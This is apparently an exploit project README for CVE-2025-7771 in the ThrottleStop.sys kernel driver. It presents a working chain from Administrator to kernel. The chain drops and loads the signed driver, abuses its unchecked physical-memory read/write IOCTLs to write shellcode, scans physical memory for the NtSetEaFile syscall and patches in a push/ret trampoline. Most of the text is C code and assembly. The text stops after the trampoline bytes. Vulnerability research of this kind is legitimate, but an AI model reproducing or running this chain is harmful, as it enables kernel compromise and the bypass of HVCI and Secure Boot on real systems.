
Escalating privilege in the system from unsigned driver using throttlestop vulnerability
CVE-2025-7771 — Arbitrary Physical Memory Read/Write via ThrottleStop.sys IOCTLs
This project is published for educational and research purposes only. The goal is to demonstrate how a signed, trusted kernel driver can be weaponized for local privilege escalation (LPE) from Administrator to SYSTEM/Kernel, effectively bypassing modern Windows security features including HVCI (Hypervisor-Enforced Code Integrity) and Secure Boot.
Do not use this tool for malicious purposes. The author is not responsible for any misuse.
| Field | Details |
|---|---|
| CVE | CVE-2025-7771 |
| Driver | ThrottleStop.sys (shipped with ThrottleStop) |
| Vendor | TechPowerUp / Kevin Glynn |
| Type | Arbitrary Physical Memory Read/Write |
| Impact | Local Privilege Escalation (Admin → Kernel) |
| CVSS | 8.2 (High) |
| Signature | Microsoft-signed via WHQL / Attestation |
| HVCI Bypass | ✅ Yes — driver is legitimately signed, allowed by CI policy |
ThrottleStop.sys with physical memory mapping IOCTLsThe ThrottleStop.sys kernel driver exposes a device (\\.\ThrottleStop) accessible to any local Administrator. It implements two IOCTLs that provide unrestricted physical memory access:
#define IOCTL_TS_READ_PHYS 0x80006498 // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Write arbitrary physical address
0x80006498)Input: ULONG64 PhysicalAddress (8 bytes)
Output: Data buffer (1–8 bytes per call, determined by OutputBufferLength)
The driver calls MmMapIoSpace() to map the requested physical address into kernel virtual space, copies the data to the output buffer, then calls MmUnmapIoSpace(). No validation is performed on the physical address — any address in the physical address space can be read.
0x8000649C)Input: ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
InputBufferLength = 8 + DataSize
Output: None
Same mechanism as read, but writes user-supplied data to the mapped physical address. Again, no address or range validation.
The driver was designed to allow ThrottleStop (a CPU undervolting/throttling utility) to directly read/write MSRs and hardware registers. The physical memory IOCTLs were likely added for MMIO access to PCI configuration space or CPU thermal sensors, but the implementation performs zero bounds checking:
GENERIC_READ | GENERIC_WRITE handle accessThis transforms a legitimate hardware utility driver into a full kernel-level read/write primitive.
The exploit chain escalates from a local Administrator account to arbitrary kernel code execution, effectively achieving SYSTEM-level ring-0 control.
The mapper drops ThrottleStop.sys to %TEMP%, creates a service registry entry under HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop, and loads it via NtLoadDriver():
// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
Note: Since ThrottleStop.sys is legitimately signed, it loads even with HVCI/Secure Boot enabled. Windows CI policy trusts the certificate.
With the device handle, the exploit can read/write any physical address on the system:
// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
The exploit wraps these into helper functions that handle chunked reads/writes (1, 2, 4, or 8 bytes per call) for arbitrary-length transfers.
To execute arbitrary kernel functions, the exploit needs to find the physical address of a kernel syscall handler. It targets NtSetEaFile (a rarely-monitored syscall):
ntoskrnl.exe in usermode via LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES), get the RVA of NtSetEaFileRVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory), stride by 2MB, and compare bytes:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // quick check
{
read_phys(candidate_pa, verify, 32); // full verify
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // found it!
// ... validate via PsGetProcessSectionBaseAddress
}
}
}
PsGetProcessSectionBaseAddress(current_pid) and verify the returned base matches GetModuleHandle(NULL).Once the physical address of NtSetEaFile is known, the exploit installs a 12-byte trampoline directly via physical memory writes:
; Original NtSetEaFile bytes (saved for restoration)
; Replaced with:
mov rax, <target_kernel_address> ; 48 B8 <8-byte imm64>
push rax ; 50
ret ; C3